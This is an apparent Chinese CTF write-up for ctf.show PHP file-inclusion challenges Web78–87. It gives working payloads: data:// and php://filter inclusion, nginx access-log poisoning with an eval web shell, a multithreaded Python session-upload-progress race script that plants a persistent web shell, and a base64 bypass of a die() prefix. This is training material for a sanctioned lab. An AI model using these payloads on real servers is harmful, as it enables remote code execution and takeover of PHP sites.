文件包含Write-Up
PHP伪协议
注意用法,allow_url_fopen和allow_url_include都满足的时候才可以用
常用场景:文件包含、文本包含
Web78
法一:
?file=data://text/plain,<?php system("ls")?>
?file=data://text/plain,<?php system("tac flag.php")?>
法二:
?file=php://filter/convert.base64-encode/resource=flag.php
Base64解码即可
Web79
把php替换为3个问号,问题不大,换一种伪协议即可,用短标签
Web80
data和php都被过滤了,寄,但是可以用日志文件包含
日志文件位置
/var/log/nginx/access.log
先抓包,将User-Agent改成<?php eval($_POST['a']);?>,再向其中传值,得到目录结构
取得flag
Web81
php、data、:全部被过滤掉了
用短标签
接下来步骤和Web80一样
Web82
这道题的过滤无法使用日志包含(.也被过滤掉了)。PHP里面唯一我们能控制的没有后缀的文件就是session文件,利用到PHP_SESSION_UPLOAD_PROGRESS来初始化session,并且会把上传文件的信息记录在session文件中,待上传文件结束后清除存储上传文件信息session文件,达到文件包含的目的。
当我们将session.upload_progress.enabled的值设置为on时,此时我们再往服务器中上传一个文件时,PHP会把该文件的详细信息(如上传时间、上传进度等)存储在session当中。
使用php脚本:
import io
import threading
import warnings
import requests
warnings.filterwarnings('ignore')
url = "https://ea8822ab-538b-4f6e-8c75-c9f9a904b208.challenge.ctf.show/"
sessid = 'ctfshow' # 设置 PHPSESSID 为 'ctfshow',PHP 将在 /tmp/sess_ctfshow 生成一个文件
data = {
"1": "file_put_contents('/var/www/html/1.php','<?php eval($_POST[2]);?>');"
}
def write(session):
# b'a' 创建一个单字节的字符 'a'。
# * 1024 * 50 将这个单字节字符 'a' 复制 1024 * 50 次,生成一个 50KB 的字节串。
filebytes = io.BytesIO(b'a' * 1024 * 50) # 创建一个大小为 50KB 的文件
while True:
session.post(url=url, data={
# 当 session.upload_progress.enabled 选项开启时(默认开启),PHP 能够在每一个文件上传时
# 监测上传进度。这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。
'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[1]);?>' # 注入恶意代码
}, cookies={
'PHPSESSID': sessid # 设置会话 ID
}, files={
'file': ('ctfshow.jpg', filebytes) # 上传文件
}, verify=False)
def read(session):
while True:
res1 = session.post(url=url + r'?file=/tmp/sess_' + sessid, data=data, cookies= {
'PHPSESSID': sessid
}, verify=False)
res2 = session.get(url=url+'1.php', verify=False);
if res2.status_code == 200:
print('++++++++done+++++++++')
else:
print(res2.status_code)
if __name__ == '__main__':
# 使用多线程来执行 write 和 read 函数
event = threading.Event() # 创建一个新的事件对象。
with requests.session() as session:
for i in range(5):
# 创建一个单元素元组,需要在元素后面加逗号,逗号确保 Python 将其识别为元组,而不是括号中的单个值。
threading.Thread(target=write, args=(session,)).start() # 启动 20 个写线程
for i in range(5):
threading.Thread(target=read, args=(session,)).start() # 启动 20 个读线程
event.set() # 表示事件已经触发。所有在等待事件的线程将被唤醒并继续执行
成功RCE
Web83-86
同Web82
Web87
-
file_put_contents是写文件:第一个参数是文件名,第二个参数是文件内容,写的文件内容会自动在前面拼接上 <?php die('大佬别秀了') ;?> 退出,接下来就是想办法绕过它
-
死亡函数会在代码执行时立即结束代码的执行,因此需要绕过它。通常这种函数会在文件头部,因此需要用一些手段在文件头部添加合法字符来避开它。
-
Base64编码和解码:
- 编码时,Base64的最小单位是3个字节。
- 解码时,Base64以4个字符为一组进行解码。如果解码过程中遇到非法字符,PHP会忽略这些字符并继续处理其余字符。所以,通过base64解码过滤之后就只有 “phpdie” 6个字符,我们就要添加2个字符让phpdie和我们增加的两个字符组合起来进行解码。即可抹掉死亡函数。(base64特征:大写小写a-Z和数字0-9,“+”,“/”(所以碰到<?;这种符号base64是识别不了的))
content=<?php system('ls');?>
base64后:
content=PD9waHAgc3lzdGVtKCdscycpOz8+
我们补2个a,content=aaPD9waHAgc3lzdGVtKCdscycpOz8+,这样一来,写入文件的内容就变为了phpdieaaPD9waHAgc3lzdGVtKCdscycpOz8+